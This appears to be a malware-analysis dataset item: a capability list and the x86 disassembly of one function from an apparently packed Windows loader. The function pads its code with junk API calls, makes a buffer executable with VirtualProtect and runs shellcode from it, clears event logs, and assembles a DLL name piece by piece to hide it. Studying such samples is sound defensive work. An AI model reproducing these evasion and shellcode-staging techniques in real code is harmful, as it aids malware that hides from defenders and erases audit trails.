Function at 0x4a47c0
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Execute shellcode via indirect call
Get common file path
Get disk information
Manipulate console buffer
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1648
call fcn.004122e0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d1ba
jge 0x4a47f6
push 0
push 0
push 0
call edi
cmp dword [0x82f124], 0x6fb
jne 0x4a4808
push 0
push 0
call ebx
cmp esi, 0x1e9c80c8
jle 0x4a4822
cmp ebp, 0xc0be5a
je 0x4a4822
cmp dword [esp + 0x4c], 0x9250f50
jne 0x4a482d
inc esi
cmp esi, 0x8a8ec
jl 0x4a47e6
jmp 0x4a484b
cmp dword [0x82f124], 0x28
jne 0x4a484b
push 0x403f6c
push 0x403fa8
push 0x403fbc
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x82f124], 0xcf8
jne 0x4a48a7
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
cmp dword [0x82f124], 0x3a
jne 0x4a488a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
lea ecx, [esp + 0x118]
push ecx
push 0
push 0x403fe0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
push 0
call fcn.004075b1
add esp, 8
lea edx, [esp + 0x68]
push edx
call fcn.00405760
push 0
call fcn.004079da
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileType]
xor esi, esi
jmp 0x4a48c0
cmp esi, 0x408
jne 0x4a48d3
mov eax, 0x5d1
add dword [0x82f124], eax
cmp dword [0x82f124], 0xca3
jne 0x4a4900
push 0
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push 0x404038
push eax
mov dword [esp + 0x28], eax
call ebx
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4a48c0
mov ecx, dword [0x82f124]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4b0174], eax
mov eax, dword [0x82f124]
xor esi, esi
test eax, eax
je 0x4a49f1
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
cmp eax, 0xfe
jne 0x4a49a4
push 0
lea edx, [esp + 0x65c]
push edx
call ebx
push 0
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x124]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push edx
lea eax, [esp + 0x44]
push eax
push 0x404048
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.004a4260
mov eax, dword [0x82f124]
cmp eax, 0x29
jne 0x4a49e8
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
lea ecx, [esp + 0x660]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call edi
mov eax, dword [0x82f124]
inc esi
cmp esi, eax
jb 0x4a493e
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x4a4a2a
push 0x404060
push 0
lea edx, [esp + 0x120]
push edx
push 0x4040b4
push 0x4040e0
push 0x404150
call esi
mov eax, dword [0x82f124]
dec edi
jne 0x4a4a00
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [esp + 0x14], 0x25887
lea ecx, [ecx]
mov dword [0x82f120], 0xabebc05c
cmp eax, 0x222
jne 0x4a4a83
push 0x404180
call esi
push 0
lea eax, [esp + 0x65c]
push eax
call edi
push 0
call ebp
push 0
push 0
call ebx
mov eax, dword [0x82f124]
dec dword [esp + 0x14]
jne 0x4a4a50
mov edx, dword [0x4b0174]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x4ab3e0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a4590
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthFloatW]
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor esi, esi
cmp dword [0x82f124], 0xba
jne 0x4a4afb
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
lea ecx, [esp + 0x40]
push ecx
call ebp
push 0x4041c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x4a4b1e
mov eax, 0
add dword [0x4b0174], eax
inc esi
cmp esi, 0x1605a
jl 0x4a4abe
mov eax, 0x6d
mov word [0x82f12e], ax
mov eax, 0x6c
mov word [0x82f13c], ax
mov edx, 0x69
xor eax, eax
push 0x82f128
mov dword [0x82f138], 0x6c0064
mov dword [0x82f134], 0x2e0032
mov word [0x82f12c], dx
mov dword [0x82f128], 0x73006d
mov word [0x82f13e], ax
mov dword [0x82f130], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x82f12a], dx
mov word [0x82f12e], ax
xor eax, eax
cmp dword [0x82f124], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x82f132], cx
mov word [0x82f13e], ax
mov word [0x82f130], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x82f138], 0x6c0064
mov word [0x82f12c], ax
mov word [0x82f128], cx
mov word [0x82f13c], dx
mov dword [0x82f134], 0x2e0032
jne 0x4a4ce8
mov edx, dword [esp + 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x518]
push eax
push 0x4041f4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x124]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x65c]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0x40420c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
lea eax, [esp + 0xe5c]
push eax
push 0x40421c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x404250
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret